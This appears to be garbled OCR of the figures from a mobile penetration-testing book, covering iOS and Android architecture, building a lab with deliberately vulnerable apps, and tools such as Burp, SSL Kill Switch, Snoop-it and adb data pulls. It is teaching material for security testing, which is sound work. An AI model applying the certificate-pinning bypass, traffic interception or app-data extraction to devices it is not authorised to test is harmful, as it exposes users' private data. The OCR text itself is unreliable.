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CAR=DRIVER Store + {5

The latest automotive reviews and news!
Inevery issue you'll find comprehensive coverage,
comparison tests,and expert vehicle reviews!

<

"~

YOU MUST CONNECT TO
WIFI TO SHOP, DOWNLOAD, |
OR RESTORE PURCHASES

September 2015
The New Cars of 2016

In our latest issue, get all the details
on the new cars of 2016, from the
Acura NSX to the Volvo S60, and
everything in between. Plus, get
S behind the wheel of Alfa Romeo's
4C Spider, read up on the most epic
engine of the year, get a quick taste
of the new Audi R8 at Le Mans, the
most hyped software of the year,

Subscribe & Save »

Buy Issue for $4.99 >

Check out a FREE Sample Issue!
Download »

Shop Back Issues +
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Period Android i0s Windows Phone BlackBerry 08 Others

201502 82.8% 13.9% 26% 0.3% 0.4%
201402 84.8% 116% ., 2.5% 0.5% 0.7%
2013042 79.8% 12.9% 3.4% 2.8% 12%
201202 60.3% 16.6% 31% 4.9% 6.1%

Saurce: IDC, Aug 2015



Chapter 2: Snooping Around the Architecture

192.168.106.4 - PuTTY
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iTunesArtWork

App binary

iTunesMetadata.plist

Bundle Resources

Embedded
.mobileprovision

| _CodeSignature

Allow Twitter access to your photos

Access was previously denied, please grant access from Settings.

@ Open iPhone settings

@) Set Twitter to ON

Got it




( Privacy

Photos

Photos stored on your iPad may contain other information,
such as when and where the photo was taken.

g Twitter

«

Apps that have requested access to your photos will appear

here.

Without App Sandbox

Unrestricted
access

All
system resources

With App Sandbox

Cther
user data

Mo access

Other
Sysiem resources

|

e O AN D0 ey

Unrestricted
BCCESS




Digital Identity

- - Code signing
Coertifecate certificate

: Y
®— ) public key
Private key

Signed

Build and sign .
application

e

Availability File Data Protection

Keychain Data Protection

When unlocked |NSFileProtectionComplete

kSechAttrAccessibleWhenUnlocked

While locked NSFileProtectionCompleteUnlessOpen MN/A

After first unlock |N5SFileProtectionCompleteUntilFirstUserAuthentication  [kSecAttrAccessibleAfterFirstUnlock

Always NSFileProtectionMone

kSecAttrAccessibleAlways

o o O

MSFileProtectionNone

Class Key

NSProtectionCompl
Class Key

WY

Passcode Key

L




Boot ROM Low Level > iBoot > i0S Kernel

Bootloader
y

SOFTWARE HARDWARE AND FIRMWARE
Kernel

0OS partition

File system

Smalltalk-like

ObjC runtime

C Runtime




High level

(Objective-C) e,
Cocoa Touch

. Core Services
Low Level Core OS .
© a




ELF Header

Program header table

dext

.rodata

Section header table
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aapt

4,—-{ Package Resource file }—

Class DEX |

Manifest —~| Create package resource | xﬁ
| Javae dx
Resources J | compile }— '{ To davlik bytecodes
apkbuilder
Assets

|' Create Unsigned APK }‘

o

Source Code !
‘ Unsigned APK ‘ ‘ Signed APK
Libraries ‘ - . - 7
Key ‘I‘ Sign APK |7 \ Publish

Jarsigner

adb



Do you want to install this
application?

Phone calls

System tools

Show all

Install l [ Cancel

Proxy Binder Driver

KERNEL

Process “A”

Process “B

”




Compile for release

Create a Private key

-~

Application Linux UID :
12345

™y

Ready for
sig" thE Am [hstl’illtlﬂn

(Playstore,
Amazon etc.)

Resources Linux ID: 12345

- ™)

Application Linux UID :
54321

E

[Network | ]

Resources Linux ID: 54231

MNetwork




C:sUzerssUJ>radh devices
List of devices attached

192.168.56.1681 :5555 device

C:sUszersslUJradbh shell
rootBvhoxBep:s # 1z —1la
druxr—xr—x root root
druxrux—— system cache
1ruxpPuxrux root root
dyr—x————— root root
1ruxpPuxrux root root

druxrux—x system system

—pu—r—Pr— Proot root
druxr—xr—x root root
1ruxpPuxrux root root
—rw—r—r—— root root
—pu—p————— root root
—PwxPr—x—— poot root
—PUHP—X——— Poot root
—PwxPr—x—— poot root
—PUHP—X——— Ppoot root
—PWwxP—x—— poot root
—PUHP—X—— PoOOL root

2016-02-A8
2816-82-A5
1969-12-11
2816-82-88
2016-02-A8
2816-82-A5
1969-12-11
2816-82-88
2016-02-A8
1969-12-31
1969-12-11
1969-12-31
1969-12-11
1969-12-31
1969-12-11
1969-12-31
1969-12-31

acct

cache

charger —» shinshealthd
config

d —» ssysskernelsdebug
data

default.prop

dev

etc —» ssystemsetc
file_contexts
fstabh.vhox86

init

init.environ.rc
init.rc

init.trace.rc
init.ush.rc
init.vhox86.rc




Listening at a high volume for a
long time may damage your
hearing. The volume will be

increased above safe levels,
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The service is stopped All clients unbind by calling
by itself or a client unbindService() :

L

onUnbind()

Active
Lifetime

T oo

o
-

Unbounded Bounded
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onResume() onPause()

—
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onStart() onstop()
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L

E+



Activity

Broadcast

Services .
Recelver

Content
Provider




|1 AndroidManifest. xml

<7mml version="1.0" encoding="utf-8"7»

<manifest mxmlns:-android="http://schemas.

android.com/apk/res/android™

android:-versionCode="58082475%"

android:versionName="5_10_11272572Z2  relezse"

)

package="com.google. android. gm”
platformPuildVersionCode="Z3"
platformPuildVersionlame="&6.0-Z21ee7a7">

<uses—sdk android:minSdkVersion="14" android:targetSdkVersion="ZZ3"»</uses—-adk>

<permission android:lebel="@EZ13123&313"

android:name="com.google.android.gm.email .permission.READ ATTRACHMENT™

android:protectionlevel="0x2"

android:-permissionGroup="asndroid.permission-group. MESSACZES™

android:-description="@2Z13125%&514">
< /permission>

<permission android:label="@213129%c315"

android-name="com.google .android._gm.emzail .permission.

gndroid:protectionLevel="0xz2"
android:-description="@213125%&51lc">
</permission¥>

<permission android:label="@21312%c317"

android-name="com.google . android_gm-email permission.

android:protectionLevel="0xz2"
android-description="@213123%&5318">
</permissionr

<permission android:label="@Z131Z25%c431"

android-name="com.google  android_gm.email permission.

endroid:protectionlevel="0xz2Z"
endroid-description="@Z13125%c432">
</permissionr

<permission android:label="@2Z131Z237ZT75"

ACCESS PROVIDER™

UPDATE AUTH HOTIFICATIOH™

GET WIDZET UPDATE™

android-name="com.google . android. gm.permission RERD GMATL™

android:protectionLevel="0x2Z"

android-permissionGroup="asndroid_ permission-group. MESSAZES"™

android-description="@213123727c"»

</permisaion>



. v com.google.android.gmail e

- = Open Share with = MNew folder
Marne } Date modified Type Size
| assets 2/8/2016 5:27 PM File folder
| com 2/8/2016 5:27 PM File folder
| EfTOr_prone 2/8/2016 5:27 PM File folder
. Jsr305_annotations 2/8/2016 5:27 PM File folder
. META-INF 2/8/2016 5:27 PM File folder
| org 2/8/2016 5:27 PM File folder
| TES 2/8/2016 5:27 PM File folder
. third_party 2/8/2016 5:27 PM File folder
= AndroidManifest.xml 8/21/2008 5:13 PM AML Document 66 KB
|| classes.dex 8/21/2008 5:13 PM DEX File 5,759 KB
| | TESOUrCEes.arsc 8/21/2008 5:13 PM  ARSC File 1927 KB

Native android apps

=

Contacts Internet

Action Memo

Applications

Pownloc.ds

hotstar

Third party apps

w o @

Aaent Dash  WhatsApp Snapchat

Activity Manager

View System

Location Manager

APPLICATIOM FRAMEWORK

Window Manager

Package Manager

Motification Manager

' Telephony Manager

Content Provider

Resource Manager




JAVA

SOURCE JAVA BYTE DALVIK
CODE CODE BYTE CODE Mative
(.java) (.class) (.dex) Binary
Java DEX Dex2oat
compiler Compiler Compiler

JAVA
SOURCE
CODE
(.java)

DALVIK
BYTE
CODE

> JAVA > > DEX ’
Compiler Compiler




ANDROID RUNTIME
Core Libraries
. A
Android RT ] l Dalvik VM

Settings

Shazam
Skype™
¥ Twitter
WhatsApp
Use Dalvik
Use ART
(V) Date & time
Cancel
Accessibility
Printing
Developer options

About phone

LINUX KERNEL

Process
! management

Memory .
Power management
management




Applications

Application
framework

Native Libraries

Android Runtime

Core libraries

Linux Kernel

EER

Android Runtime




Chapter 3: Building a Test Environment

iPad ¥

Settings

Airplane Mode

] )

Bluetooth

Notifications
Control Center

Do Not Disturb

General
Display & Brightness
Wallpaper

Sounds

Passcode

Privacy

P 192.168.106.5 - PuTTY

login as: root
root192.168.106.5's password:
Hackers-ipAD:~ root# ipainstaller DamnVulnerableiOSApp.ipa
Analyzing DamnVulnerableiOSApp.ipa...

6:50 AM

£ Wi-Fi

47% W)

Daddy

Forget This Network

IP ADDRESS
IP Address 192.168.106.4

Subnet Mask 255.255.255.0

Router 192.168.106.1
DNS 8.8.8.8
Search Domains
Client ID
HTTP PROXY

Off Auto
Server 192.168.106.159
Port 808d

Authentication

Installing DVIA (v1.3)...
Installed DVIA (v1l.3) successfully.

Hackers-ipAD:~ root# [




&j 105Target - 192.168.106.5 - WinSCP = || B || £8
Local Mark Files Commands Session Options Remote Help
[ &5 3 Synchronize | Bl I;F =] ‘1:°:!’ £l Queue - - Transfer Settings Default v c =
& 192.168.106.5 |;_| Mew Session
& c: osDisk = <= - =1 9 iy & root - (= [F] 21 7 (Y & | 58 Find Files
R Upload [ | [ Edit & o [ P 79% Uploading (-9 |l 43 K]
Ch\Hackbox\iO5Target Cancel
Mame Ext .. ] Size Ch: *#
| Minimize |
L. _ _ . . — S0LB 02/
AF934 CRE-67D6-4F51-A158-6B10.. File: C:'lf...\,lOSTarget'l,DaanuInerabIaOSApp (1).ipa _ 239KB 01/
Target:  fprivatefvarfroot/ Once finished: .
AFLF700D-C9E3-4641-83809-3996... |ﬁ| 3501 KB 01/
BA9FD78A-56B2-4D63-09F9-026A.., —— SN 19366 28/
0356601 B-E994-4057-9A43-20832... Time left: 0:00:00 Time elapsed: 0:00:01 4858 28/
4 DamnVulnerableiOSApp (1).ipa Bytes transferred: 4,480 KB Speed: 4,629KiBfs Speed (KiB/s): 873328 28/ k-
7| iGoat.ipa - Unlimited - 2850 KiB 23/
= IMG_0158.PNG THIFZ O FITO ITTage T T TUOTEERT 353128 227
= IMG_0155.PNG 147 KB PMG image i || BHEXGYIRSKT pin=675767 984 B 07/
= IMG_0154.PNG 1,551 KiE PMNGimage i _ || @ EQ Bank.ipa 4428 KiB 07/
4 [T 3 4 T 3
5,662 KiB of 11,677 KiB in1 of 14 0B of 289 MIB in 0 of 38
; SFTP-3 0:00:26

EE 192168.106.5 - PuTTY

login as: root
root@l1l92.168.106.5's password:

Hackers-ipAD:~ root# I




1921681065 - PuTTY

PuTTY Security Alert

The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.

The server's rsa2 key fingerprint is:

ssh-rsa 2048 25:c4:09:9d:98:e0:38:38:aetbd:f 1 d 7117 ch 7 2:0d
If you trust this host, hit Yes to add the key to

PuTTY's cache and carry on connecting.

If you want to carry on connecting just once, without
adding the key to the cache, hit Mo,

If you do not trust this host, hit Cancel to abandon the
connection.

| | Cancel

127.0.0.1 - PuTTY

login as: root
root@l27.0.0.1's password:
Hackers-ipAD:~ root# I

ﬁ PuTTY Configuration 2

Categorny:
Basic options for your PuTTY session

Specify the destination you want to connect to

Host Mame (or IP address) Port
127.0.0. 22
Connection type:

Raw Telnet Rlogin @) 55H Serial



) iFunl

| 5 Fite prowser |

USB Tunnel by i-FunBox
Fast Network Connection between i0S and PC via USB cable
What is USB Tunnel? Check out creative usages!!

Created USB Tunnels:
iOS Port PC Address
22 (SSH) 127.0.0.1:22

New USB Tunnel at Port: [1000 [ Detect and Create ]

i-Funbox will automatically scan and create USB Tunnel on port 1-256.

| Managing App Data H @ Quick Toolbox [J A App Store m
der @ Refresh 4] Go Up Level ® cop PC

B--ﬂ Connected Devices i
- Hackers ipAD | iPad Air on USB (Jail:
User Applications
.2 App File Sharing
General Storage

ToPC | & Install App | OA:tions

o Settings H

\v\.
App File General Camera iBooks. Voice RawFile  File Search
Sharing Storage Memos System Results

Folder View

! Voice Memos
€, Raw File System
£ File Search Results

: Data Transfer Engine

* - Idle. ( 1device connected ) A Device Safe Removal

< " "

Ready

8ltem(s)  Free Space: 818 GB




10S SSL Kill Switch

E}B Change Package Settings >
) Author Alban Diquet

Blackbox tool to disable SSL certificate validation -
including certificate pinning - within iOS Apps.

INSTALLED PACKAGE

@ Version 0.61-9

— 1 Filesystem Content >



tcpdump
&>

3.9.8-4 548 kB

@ Change Package Settings >
8 Author Jay Freeman (saurik)
This is a console package! >

dumps and stores network traffic

INSTALLED PACKAGE

@ Version 3.9.8-4

B Filesystem Content >



IPA Installer
PA 3.23

@ Change Package Settings

@ Author

INSTALLED PACKAGE

@ Version

B Filesystem Content

Darwin CC Tools
( ) 877.5

Eg Change Package Settings

a Author

This is a console package!

INSTALLED PACKAGE

g Version

B Filesystem Content

1614 kB

>

slugrail >

3.23

4322 kB

>
CoolStar >

>

855-1



” BigBoss Recommended ...
1.3.2

@ Change Package Settings >

8 Author BigBoss ?

Combined list of hacker tools. Cydia no longer comes
preinstalled with most useful command line apps. This
package installs most the missing ones in one swoop.
There is no real package provided here. It is only a set of
depends on other various tools so that your command line
can become useful again.

iPad ¥ 3¢ 4:48 AM 56% )
A
iPad = =:¢ 4:47 AM 56% W)

Expert Recem]




56% )

8
@

IPA Installer

Y

Terminal Activator Twitter







@ Xcode File Edit View Find Mavigate Editor

Product

o000 »r Y v /. Hackme S B ios Device ‘
| |
Edit Scheme...
| Mew Scheme... W iPad 2
E Th Q *&' {3) Manage Schemes... & iPad Air !
| | |
Hackme 7
i i
¥ B 5 targets, i0s sDK 8.1 G iPad Retina
¥ [ | Hackme v i iPhone 4=
'+ AppDelegate.swift i§ iPhone 5
s VMiewController.swift il iPhone 58
1) Main.storyboard | . @8 iPhone 6 Plus
[E5 Images.xcassets i §§ iPhone 6

2| LaunchScreen.xib

U Resizable iPad

El Hackme.xcdatamodeld
> I_:| Supporting Files
v I_:| HackmeTests
| HackmeTests.swift

i Resizable IPhone

Choose a template for your new project:

i0S
Application - o000 1 e
Framework & Library
Other Master-Detail Page-Based Single View Tabbed
Application Application Application Application
0s X

Application %

Framework & Library
System Plug-in Game

Other

Single \iew Application

This template provides a starting point for an application that uses a single view. It provides
a view controller to manage the view, and a storyboard or nib file that contains the view.

Cancel



Choose options for your new project:

Product Name: Hackme
Organization Name: Vijay
Organization Identifier: XYZ-Carp
Bundle |dentifier: XYZ-Corp.Hackme
Language: Swift ﬁ
Devices:  Universal <]

Use Core Data

Cancel Previous “

-

BN Administrator: Chwindowshsystem32emd.exe

C:\Hackbox>adb devices
List of devices attached

00 12ch2caZBed lct device




0ol @ 414

< About phone e

Send feedback about this device

Model number
Nexus 5

Android version
6.0

Android security patch level
1 October 2015

Baseband version
M8974A-2.0.50.2.27

Kernel version

3.4.0-g2aal165e
android-build@wped19.hot.corp.google.com #1
Thu Aug 20 06:07:34 UTC 2015

Build number
MRAS8K



Genymotion for persenal use - Google Nexus - Penetratio... | = @@

Proxy

192.168.2.1

Burp Intruder Repeater Window Help

[Targe{ I Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Options. T Alerts ]

J ntercept T HTTP history T WebSockets history T Optionz ]

(#) Requestto hitpiiwww.google.co.in:80 [216.56.197.67)

l Forward J l Drop J f Intercept is on ] Action

Raw | Params | Headers | Hex

GET /search?hl=endsource=android-launcher-widgetbgq=googlebfgws rd=cr&ei=CimSVvavLMWIuQTZ05aADg HTTE/Ll.1
Host: www.google.co.ln

Aocept: text/html, application/xhtml+sanl, application/sml; q=0.9, image/webp, */*; q=0.8

User-Agent: Mozilla/5.0 (Linux; Android £.0; Google Nesxus 5X - £.0.0 - API 23 - 1l080x1920 Build/MRASSE)
AppleWebFit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.0.0 Mohile Safari/537.36
Accept-Encoding: gzip, deflate

Accept-Language: en-U3

¥-Requested-With: com.android.browser

Connection: close



Gerymotion for personal use - Google Mexus - Penetratio... | — || =
wil0eaz

Grs

WiredSSID

Advanced oplions

Q

Proxy
Manual

The HTTP proxy is used by the browser but
may not be used by the other apps.

Y nostname

192.168.2.1
Proxy port

8080

Bypass proxy for
example.commycomp.test.com,loca ho

P settings

DHCP

CANCEL  SAVE




Genymetion for personal use - Google Nexus - Penetratio... | — || = [fsa]
TilQean

WiredSSID

Forget network

Maodify network




Photos

3
7

Play Store

~——

Voice Dialer

Messaqing

¥ X

Play Games Play Movies &.  Play Music

Q @

Search Settings Superuser

¢ 3

Voice Search YouTube




o0 Genymotion for personal use - Google Nexus - Penetration Testing Device (1080:1920,...| =

U File installation warning

File Genymotion-ARM-Translatic
you want it to the virtual de

zip seems to be a flashable archive. Do

Caution: thi ation may corrupt the virtual device.

¥ Genymoticn Device Manager

=

List of available Genymotion virtual devices

Mame AQSP Version |Genymotion v...
Google Nexus ... 6.0 260

IP Address Status
192168.56.101 Process




# Settings

(Q ) Other Settings » Genymotion
I+ Appearance & Behavior Select the path to the Genymotion folder

Keymap | C\Hackbox\Genymotion

I+ Editor

Plugins

Version Control

Build, Execution, Deployment
Languages & Frameworks
Tools

Other Settings

4 ¥y Yy v¥Yv¥

Genymoticn

=) (o) ([l




-
® Settings ® Browse Repositories - u

(Q (0( genymotion @ 95 Category: All ~ J
' Appearance & Behavior
Keymap
* Editor

" Pugns | S
»

* Version Control Sy

I Build, Execution, Deployment £ Download and Install rirdrdrdy 750202 downloads

Updated 12/10/2015  wver1.0.7

Sort by: name ¥ MISC

Genymotion

* Languages & Frameworks

» Tools This plugin allows you to create and start EEINIadas virtual devices
from Android Studio.

Change Notes

See the release notes on [EEIMTITNY website.

HTTP Proxy Settings... ‘ I Manage repositories...




A & 1:40
e

HACME

vour bitecoina are aafe with us

Username
Password

Server I[P




=0 Genymotion for personal use - Google Nexus - Penetratio... =] &

Android

File transfer in progress...

[ |




Unable to start the virtual device.

VirtualBox cannot start the virtual device.

To find out the cause of the problem, start the virtual device from
VirtualBox.

B C\Windows\System32\cmd.exe

C:sHackbhoxs=sdksplatform—tools*adbh devices

List of devices attached
192_168_56.161:5555 device




T —————
| & Genymotion for personal use - Google Nexus- Penetration tes-lgml

q Google
C

Gallery Settings




@ Configure virtual device
o Configuration

— System
Processor(s)

Base Memory (MB)

— Screensize - Density

() Predefined

® Custom

1080 B 1920 dpl'

Caution: you may experience issues using custom values
[ Run virtual device in full-screen mode

— Android system options

Show Android navigation bar
[J Use virtual keyboard for text input




Virtual device name

Google Nexus- Penetration Testing Device|

Please check the virtual device properties before deployment

Google Nexus 5X- 6.0.0 - API 23 - 1080x1920

El  Description Google Mexus 5X (5.2" 1080x 1920, 420DP1) ADSP&0.0 AP 23
o Systemwversion
Mame Genymotion Phone - 6.0.0- API 23- 260
Description Genymotion Virtual Device for Phone
Android Version 600
Release date ThuJan 14 01:04:49 2016
Version number 260
Ll Screensize - Density 10801920 - 420 dpi
=  Memory size 2045 MB
& Number of CPUs 4
Data disk capacity 32768 MB




L_é Select a new virtual device

Android version: All

Available virtual devices

Signin to ac

available virtual devi

Mo

Next




-

EJ Setup - Genymotion

==

Completing the Genymotion Setup
Wizard

Setup has finished installing Genymotion on your computer.
The application may be launched by selecting the installed
icons.

Click Finish to exit Setup.

(30




-

15} Oracle VM VirtualBox 5.0.4 Setup ==

Welcome to the Oracle VM
VirtualBox 5.0.4 Setup Wizard

The Setup Wizard will install Qrade YM VirtualBox 5.0.4 on
your computer, Click Mext to continue or Cancel to exit the
Setup Wizard.

Version 5.0.4 Mext = ] [ Cancel




ﬁ'_:jjl Setup - Genymotion

Installing
Please wait while Setup installs Genymotion on your computer,

Installing Oradle VirtualBox 5.0.4...

Cancel




ﬁ'_:jjl Setup - Genyrnotion

Installing
Please wait while Setup installs Genymotion on your computer,

Extracting files...
C:\Hadkbox\Genymotiontools\adb. exe




ﬁ'_:jjl Setup - Genymotion EI' = |

Select Destination Location
Where should Genymaotion be installed?

| Setup will install Genymotion into the following folder.

To continue, dick Mext, If you would like to select a different folder, dick Browse.,

aCkKDO = 0 B[CIWSE...

At least 197.6 MEB of free disk space is required.

< Back ][ Mext = ] [ Cancel




ﬁ?g’ Setup - Genymotion EI =] @

Welcome to the Genymotion
Setup Wizard
This will install Genymotion version 2.5.4 on your computer.,

Itis recommended that you dose all other applications before
continuing.

Click Mext to continue, or Cancel to exit Setup.

Mext = ]| Cancel




m;ﬁﬂminish {s owshsystem 32\

C:~Hackbhox*~A—tools>adh logcat
beginning of =ystem
Dslocal_openglc B>: Starting local_opengl
beginning of main
Esvinput—seamless{ 218>: found seamless mousze device
I/SurfaceFlingers 288>: SurfaceFlinger iz starting
I/SurfaceFlingert 288>: SurfaceFlinger's main thread ready to roun. Initializing
{ 288>: loaded Asystemnslih-egl/libEGL_emulation.so
¢ 288>: loaded /systemnslib-egls1ibGLESvi_CM_emulation.so
¢ 288>: loaded /systemslib-egls1ibGLESvZ_emulation.so
¢ 288>: Failed to connect to host (UnixStream>»tt?
E-EGL_emulationt 2B88)>: Failed to establiszh connection with the host
W-1ibEGL <« 288>: egllnitialize{Bxh72a6848> failed (EGL_SUCCESS>
I/mediazervers F1>: ServiceManager: BxboZliod4d
I /AudioFlinger< P1»: Using default 3888 mSec as standbhy time.
I/ServiceManagers ?12: Yaiting for service bhatterystats...
I-Uold ¢ 287>»: Uold 2.1 <the revenge) firing up
I/lovmemorykiller 285>: Using in—kernel low memory killer interface
E./ ¢ 208>: Failed to connect to host (Unix8tream)>tt?
Esgralloc_vhox86¢ 288> gralloc: Failed to get host connection
E-SurfaceFlingers 288>: hucomposer module not found
E/SurfaceFlingert 288>: ERROR: failed to open framebuffer {I-/0 error), aborting
beginning of crash
Fatal sdignal 6 <SIGABRT>. code —6 in tid 2088 <surfaceflinger>
SENERE BERERE BERESE BERERE BERERE BERERE RERERE BERERE  RERERE  BERERE  REREE  BREEE  RERESE MR RERESE
: Build fingerprint: ‘genericsvhoxB6p vboxBop:5.8-LRXZ1M- buildh
Revision: ‘@°
ABI = 'xB6*
pid: 288, tid: 288, name: surfaceflinger 2>>> ssystensbinssur
signal 6 <SIGABRT»>, code -6 <SI_TKILL>, fault addw
eax B00BAAAA ebx AOBOOAdA ecx BOOOOAAdA edx BOO0OBBHG
ezsi h?7fdfB8 edi B000OO0G2
xcs B00BAAYI xd= BOBBOOYh xe:z O000BBB7h «f= B000BBOQ
ip bh?768abt  ebp B00BAAdA ezsp hffScedd flagz GOOBE2E2

lalaltalalalalalalalalal




BN Chwindows\systemn32\cmd.exe === @

C:~Hackbhox*~workingfolder>adh pull sdatardatascom.android.email

pull: building file list...

pull: sdatasdatascom.android.emailsfilessdeviceName - ./files-sdeviceMame

pull: Adatarsdatascom.android.email-sdatabaszes/suggestionsz.db—journal —-> .sdatabas
esssuggestions..db—journal

pull: rdatarsdatascom.android.email-sdatabazes~ suggestionsz.dh > .~ databazesz/zugge
=tions.db

pull: rsdatarsdatascom.android.email-sdatabasesEmailProviderBody.db—Jjournal —-> .-d
atabases/EmailProviderBody.db—journal

pull: Adatasdatascom.android.emailsdatabases/EmailProviderBody.db - ./datahases
AEmailProviderBody.dhb

pull: Adatasdatascom.android.email-sdatabaszes/EmailProvider.db—journal -> .sdatab
asessEmailProvider.db—journal

pull: sdatasdatascom.android.email-sdatabaszes/EmailProvider.dbh -> .sdatabases~Ema
ilProvider_dh

pull: Adatasdatascom.android.emailsshared_prefs AndroidMail.Main.xml —> .~/shared
_prefsAAndroidMail .Main.xml

pull: rdatarsdatascom.android.email-sshared_prefz-MailAppProvider.xml —> .~ zhared
prefszssHailAppProvider.xml

pull: sdatasdatascom.android.emailsshared_prefz/lUnifiedEmail.xml —-* .-zhared_pre
fezsUnif iedEmail . xml

18 files pulled. B files skipped.

1991 KBr= <28785%%? bytes in B.181=s>

BEX Administrator: Chwindows\system32\cmd.exe

C:~Hackbhox>*adbh install nameoftheapp.apk
2847 KB~=s (1573498 bytes in B.53%s)

prky: sdataslocalstmpsnameoftheapp.apk
Success




W4 1019 wdE 042 WdE 044

<  About phone

Send feedback about this device

Model number
Mexus 5

Allow USB debugging?

Android version
6.0

Allow USB debugging?

The computer's RSA key fingerprint
is:
E4:ABCD:73:41:89:93:29:E2:4C:BE:
09:7B:21:6562

[T mlways allow from this computer

USE debugging is intended for
development purposes only. Use it
to copy data between your computer
and your device, install apps on your
device without notification and read
log data.

Android security patch level
1 October 2015

Baseband version
MBYT4A-2 0.50.2.27

CANCEL 0K

CANCEL 0K

Kernel version
3.4.0-g2aale5e
android-build@wped 19, hot.corp.goog le. com #1
T
Mo need, you are already

Build number
MRAGEK



# Android Studic —
- s

= 2 |

x Welcome to Android Studio

Recent Projects Quick Start

Open an existing Android Studio project

Mo Project Open Yet

=
[ %]

Check out project from Version Control

Import project (Eclipse ADT, Gradle, etc.)

Import an Android code sample

Configure Lo

=5 Docs and How-Tos L+

D & & & e

Android Studio 14 Build 141 22BB17E. Check for updates now.




Android Studic Setup
Configuration Settings
Install Locations

Android Studio Installation Location

The location spedfied must have at least S00ME of free space.

Click Browse to customize:
C:'\Hadkbox\Android studio

Android SDK Installation Location

The location spedified must have at least 3. 2GE of free space.
Click Browse to customize:

C:'\Hackboxsdk

Browse..

Browse...




Android Studio Setup =] = )
Welcome to Android Studio Setup

Setup will guide you through the installation of Android
Studia,

It is recommended that you dose all other applications
before starting Setup. This will make it possible to update
relevant system files without having to reboot your
computer.

Click MNext to continue.

Android
Studio

{ | Cancel




Chapter 4: Loading up — Mobile Pentesting Tools

Profile Installed Done

PortSwigger CA

Signed by PortSwigger CA
Verified v/

Contains Certificate

More Details



Cancel Warning Install

ROOT CERTIFICATE

Installing the certificate “PortSwigger CA” will add it to the list of
trusted certificates on your iPad.

UNVERIFIED PROFILE

The authenticity of “PortSwigger CA” cannot be verified.

Cancel Install Profile Install

PortSwigger CA

Signed by PortSwigger CA
Not Verified

Contains Certificate

More Details



#8 HFS . HTTP File Server 239 Build 205 (scn|o (5. e

& Menu | 'Jl;" Port: 8000 | € You are in Easy mode |
@ Open in browser hitp://192.168.106.159:2000/ cacert.der 11 Already in clipboard
Yirtual File Systemn Leg
o/
5] cacert.der

|
|
-/f Snoop-it Xr\k ar

wBe @ 4 4 & ik

iGoat E]

é @ 192168.106.4:12345/#filesystem

= (] Wonitoring Home Filesystem [
[Z] Filesystem
Fitter:
[Z] Keychain
[Z] Network I Filepath Filename
D Sensitive API Iprivate/ ontain, lication/65152B85A-0410-4EC5-A4BE-56B9FDSOSCC3/iGoat app/en Iproj
*
D Comman Crypto e 3 /MainStoryboard_iPhone storyboardc! Info-5.0+.plist
* I i i '69152B54-D410-4ECS-A4BE-56B9FDSD9CC3Goat. appien. Iproj 2
& ] Analysis e IMMainStoryboard_iPhone. storyboardc! Info plist
Objective-C Classes ! 4
[5 obj s @ a! 6915285404 10-4EC5-A4BE-56B9FDS09CCHiGoat applen Iproj UVisw Contraller-3.nib
D View Controller /MainStoryboard_iPhone storyboardc!
D URL Schemes * e 44 i lication/65152B5A-D410-4EC5-A4BE-56B9FDSDSCC3iGoat app/ Assets plist
I '5915285A-D410-4ECS-A4BE-56B9FD509CC3MGoat appien. Iproj . .
* -jE-1 & x
= [[j Runtime Manipulation 0 MainStoryboard_iPhone. storyboardc! Gzt-E-mTx-view-wBe-Jh-6TH.nib
5] Hardware identifier + @ ! i t iication/FEBDECD2 TF22_4TER AS1C-3C0905FI4CA L ibrary/Caches/com krvw iGoat I ——
[Z] Fake Location Jcom apple.openglf maps
; i it lication/FBBDECD2-TF22-4TE8-A51C-3C0805FG4C A/ ibrary/Cachesicom krvw iGoat
Method T * :
[E] Tacing =] Jeom apple opengl shaders.data
* i i it lication/FEBDECD2-TF22-4TES-AS1C-3C0905F94COA/Library/Cachesicom kryw.iGoat -
O Jcom.apple.opengl compileCache.maps
#* O o5 ! FEBDECD2-TF22-47EE-AS1C-3C0805F84CA/Library/Caches/com. krvve.iGoat compileCache data



[ € @ 192168106.4:12345 ¢ | @ |Q search
b

@ Disable- & Cookiesw »# €55+ [ Forms- & 1 @ Inf ion= [E] Miscell # Outliner & Resizer J& Toolsw (B View Sourcer [1l] Options

SNOOP-IT

BY NESO SECURITY LABS

Getting Started Guide
1. App Selection

Piror the first run, Snoop-it has to be configured properly. For this, you need to select the
Apps you want to analyze using the "Snoop-it Configuration App". Within the 'Applications’
tab you are able to choose between available System/Cydia Apps or Apps installed from the
official Apple App Store.

Example: Tap on 'Select App Store Apps'

Applications

Injection

Apps to Analyze:

MNone



Applications

Apps to Analyze:

iGoat

Select System/Cydia Apps

Select App Store Apps

v ot

Applications Settings



Snoop-it

1.0.10
@ Change Package Settings >
) Author NESO Security Labs >

Snoop-it - Runtime Analysis and Manipulation of iOS Apps

@ More Information

INSTALLED PACKAGE

@ Version

| Filesystem Content

SOURCE INFORMATION

0 NESOQO Security Labs GmbH

Cydia repository of NESO Security Labs.

de.nesolabs.snoopit
NESO Security Labs GmbH - Security

1.0.10



® HopperDisassemblerv3 File Edit Find Modify MNavigate Debug Scripts Window Help Q W) <7 16

‘@0 @ DamnVulnerablelOSApp.hop
< D|IA|C|P|U
Navigation Undo / Rede Transformations
@ee837ea db "This!sASEcret", @ H cfstring_This_sASEcret
Labels @a8B3718 db "pushSuccessPage", @ : cfstring_pushSuccessPat
20083728 db "Oops", @ cfstring_Oops
Q. password [x] @0e8372d db "Incorrect Username or Password", @ 3 XREF=cfstring_Incorrect_Use
@0es374c db usernameTextField", @
¥ Tag Soops 80083756 db “T@\"UITextField\", &N,V usernameTextField", @
@0e83786 db "passwordTextField", @
Incorrect Username or Password @ee83798 db "TE\"UITextField\",&,N,V_passwordTextField", @
i @eee37ce db "urlToLoad", @
rdTextField '
e e 200837ca db “T@\"NSString\",&N,V_urlToLoad", @
TV U IMeodt Fleld\”, 5,N,V_passwomdT.. 8008377 db "http://highaltitudehacks.com/2013/08/28/i0s-application-security-part-1l-analyzii
password ABOE3860 db "http://google.com/”, @ ; XREF=cfstring_http___google,
q o @BeE3873 db "https://google.com/", @ ; XREF=cfstring_https___google
it crring' N VDR 80083887 db "POST", B XREF=cfstring POST
password_brokenCrypt @00E388c db "card_number", @ XREF=cfstring_card_number
Please enter a password 00083898 db "card_name", @ XREF=cfstring_card_name
B = incorrect @ee838a2 db "card_cvv", @ XREF=cfstring_card_cvv
@a6638ab db "application/x—www-form-urlencoded; charset=utf-8 H cfstring_application
